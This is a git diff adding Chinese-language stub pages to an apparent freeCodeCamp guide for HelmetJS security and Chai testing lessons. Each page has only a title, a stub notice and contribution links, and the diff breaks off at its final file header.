diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md
new file mode 100644
index 0000000000..ef052d1260
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md
@@ -0,0 +1,9 @@
+---
+title: Disable Client-Side Caching with helmet.noCache()
+localeTitle: 使用helmet.noCache（）禁用客户端缓存
+---
+## 使用helmet.noCache（）禁用客户端缓存
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-client-side-caching-with-helmet.nocache/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md
new file mode 100644
index 0000000000..eb9effc51e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md
@@ -0,0 +1,9 @@
+---
+title: Disable DNS Prefetching with helmet.dnsPrefetchControl()
+localeTitle: 使用helmet.dnsPrefetchControl（）禁用DNS预取
+---
+## 使用helmet.dnsPrefetchControl（）禁用DNS预取
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/disable-dns-prefetching-with-helmet.dnsprefetchcontrol/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md
new file mode 100644
index 0000000000..9dc0b11abf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash and Compare Passwords Asynchronously
+localeTitle: 哈希和异步比较密码
+---
+## 哈希和异步比较密码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-asynchronously/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md
new file mode 100644
index 0000000000..fa41465956
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md
@@ -0,0 +1,9 @@
+---
+title: Hash and Compare Passwords Synchronously
+localeTitle: 哈希并同步比较密码
+---
+## 哈希并同步比较密码
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hash-and-compare-passwords-synchronously/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md
new file mode 100644
index 0000000000..5b7ab63370
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md
@@ -0,0 +1,9 @@
+---
+title: Hide Potentially Dangerous Information Using helmet.hidePoweredBy()
+localeTitle: 使用helmet.hidePoweredBy（）隐藏潜在的危险信息
+---
+## 使用helmet.hidePoweredBy（）隐藏潜在的危险信息
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/hide-potentially-dangerous-information-using-helmet.hidepoweredby/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/index.md
new file mode 100644
index 0000000000..91e579055f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/index.md
@@ -0,0 +1,11 @@
+---
+title: Information Security with HelmetJS
+localeTitle: HelmetJS的信息安全
+---
+## HelmetJS的信息安全
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md
new file mode 100644
index 0000000000..b7e7c647be
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md
@@ -0,0 +1,9 @@
+---
+title: Install and Require Helmet
+localeTitle: 安装并需要头盔
+---
+## 安装并需要头盔
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/install-and-require-helmet/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md
new file mode 100644
index 0000000000..f64177d524
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md
@@ -0,0 +1,9 @@
+---
+title: Mitigate the Risk of Clickjacking with helmet.frameguard()
+localeTitle: 使用helmet.frameguard（）降低点击劫持的风险
+---
+## 使用helmet.frameguard（）降低点击劫持的风险
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-clickjacking-with-helmet.frameguard/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md
new file mode 100644
index 0000000000..d9b21e5527
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md
@@ -0,0 +1,9 @@
+---
+title: Mitigate the Risk of Cross Site Scripting (XSS) Attacks with helmet.xssFilter()
+localeTitle: 使用helmet.xssFilter（）降低跨站点脚本（XSS）攻击的风险
+---
+## 使用helmet.xssFilter（）降低跨站点脚本（XSS）攻击的风险
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/mitigate-the-risk-of-cross-site-scripting-xss-attacks-with-helmet.xssfilter/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md
new file mode 100644
index 0000000000..8030608959
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md
@@ -0,0 +1,9 @@
+---
+title: Prevent IE from Opening Untrusted HTML with helmet.ieNoOpen()
+localeTitle: 使用helmet.ieNoOpen（）阻止IE打开不受信任的HTML
+---
+## 使用helmet.ieNoOpen（）阻止IE打开不受信任的HTML
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/prevent-ie-from-opening-untrusted-html-with-helmet.ienoopen/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md
new file mode 100644
index 0000000000..cc444fc908
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md
@@ -0,0 +1,9 @@
+---
+title: Set a Content Security Policy with helmet.contentSecurityPolicy()
+localeTitle: 使用helmet.contentSecurityPolicy（）设置内容安全策略
+---
+## 使用helmet.contentSecurityPolicy（）设置内容安全策略
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/set-a-content-security-policy-with-helmet.contentsecuritypolicy/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md
new file mode 100644
index 0000000000..d57f8b0267
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand BCrypt Hashes
+localeTitle: 了解BCrypt Hashes
+---
+## 了解BCrypt Hashes
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/information-security-with-helmetjs/understand-bcrypt-hashes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md
new file mode 100644
index 0000000000..2ed6628721
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md
@@ -0,0 +1,9 @@
+---
+title: Assert Deep Equality with .deepEqual and .notDeepEqual
+localeTitle: 使用.deepEqual和.notDeepEqual断言深度等式
+---
+## 使用.deepEqual和.notDeepEqual断言深度等式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/assert-deep-equality-with-.deepequal-and-.notdeepequal/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md
new file mode 100644
index 0000000000..50ebd37a2f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Compare the Properties of Two Elements
+localeTitle: 比较两个元素的属性
+---
+## 比较两个元素的属性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/compare-the-properties-of-two-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/index.md
new file mode 100644
index 0000000000..221be04853
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/index.md
@@ -0,0 +1,11 @@
+---
+title: Quality Assurance and Testing with Chai
+localeTitle: Chai的质量保证和测试
+---
+## Chai的质量保证和测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md
new file mode 100644
index 0000000000..2f9beec8f9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How JavaScript Assertions Work
+localeTitle: 了解JavaScript断言的工作原理
+---
+## 了解JavaScript断言的工作原理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/learn-how-javascript-assertions-work/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md
new file mode 100644
index 0000000000..3d9ae9d6ad
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on an API Response using Chai-HTTP III - PUT method
+localeTitle: 使用Chai-HTTP III-PUT方法在API响应上运行功能测试
+---
+## 使用Chai-HTTP III-PUT方法在API响应上运行功能测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iii---put-method/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md
new file mode 100644
index 0000000000..bec8827e04
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on an API Response using Chai-HTTP IV - PUT method
+localeTitle: 使用Chai-HTTP IV  -  PUT方法在API响应上运行功能测试
+---
+## 使用Chai-HTTP IV - PUT方法在API响应上运行功能测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-an-api-response-using-chai-http-iv---put-method/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md
new file mode 100644
index 0000000000..00dee79b62
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on API Endpoints using Chai-HTTP II
+localeTitle: 使用Chai-HTTP II在API端点上运行功能测试
+---
+## 使用Chai-HTTP II在API端点上运行功能测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md
new file mode 100644
index 0000000000..bb2e1cafe7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests on API Endpoints using Chai-HTTP
+localeTitle: 使用Chai-HTTP在API端点上运行功能测试
+---
+## 使用Chai-HTTP在API端点上运行功能测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-on-api-endpoints-using-chai-http/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md
new file mode 100644
index 0000000000..eb3cffb035
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests using a Headless Browser II
+localeTitle: 使用无头浏览器II运行功能测试
+---
+## 使用无头浏览器II运行功能测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser-ii/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md
new file mode 100644
index 0000000000..6b6f489de7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md
@@ -0,0 +1,9 @@
+---
+title: Run Functional Tests using a Headless Browser
+localeTitle: 使用无头浏览器运行功能测试
+---
+## 使用无头浏览器运行功能测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/run-functional-tests-using-a-headless-browser/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md
new file mode 100644
index 0000000000..f3c56388f4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md
@@ -0,0 +1,9 @@
+---
+title: Test for Truthiness
+localeTitle: 测试真实性
+---
+## 测试真实性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-for-truthiness/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md
new file mode 100644
index 0000000000..4f47605aeb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a String Contains a Substring
+localeTitle: 测试String是否包含子串
+---
+## 测试String是否包含子串
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-string-contains-a-substring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md
new file mode 100644
index 0000000000..43ad4f85ef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value Falls within a Specific Range
+localeTitle: 测试值是否在特定范围内
+---
+## 测试值是否在特定范围内
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-falls-within-a-specific-range/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md
new file mode 100644
index 0000000000..0499e68d16
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value is a String
+localeTitle: 测试值是否为字符串
+---
+## 测试值是否为字符串
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md
new file mode 100644
index 0000000000..ddd8140d9e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value is an Array
+localeTitle: 测试值是否为数组
+---
+## 测试值是否为数组
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-an-array/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md
new file mode 100644
index 0000000000..ab3103af6c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Value is of a Specific Data Structure Type
+localeTitle: 测试值是否为特定数据结构类型
+---
+## 测试值是否为特定数据结构类型
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-value-is-of-a-specific-data-structure-type/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md
new file mode 100644
index 0000000000..92dcffbd46
--- /dev/null
+++ b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md
@@ -0,0 +1,9 @@
+---
+title: Test if a Variable or Function is Defined
+localeTitle: 测试变量或函数是否定义
+---
+## 测试变量或函数是否定义
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-a-variable-or-function-is-defined/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md b/client/src/guide/chinese/certifications/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai/test-if-an-array-contains-an-item/index.md
new file mode 100644
index 0000000000..8e9f49fd77
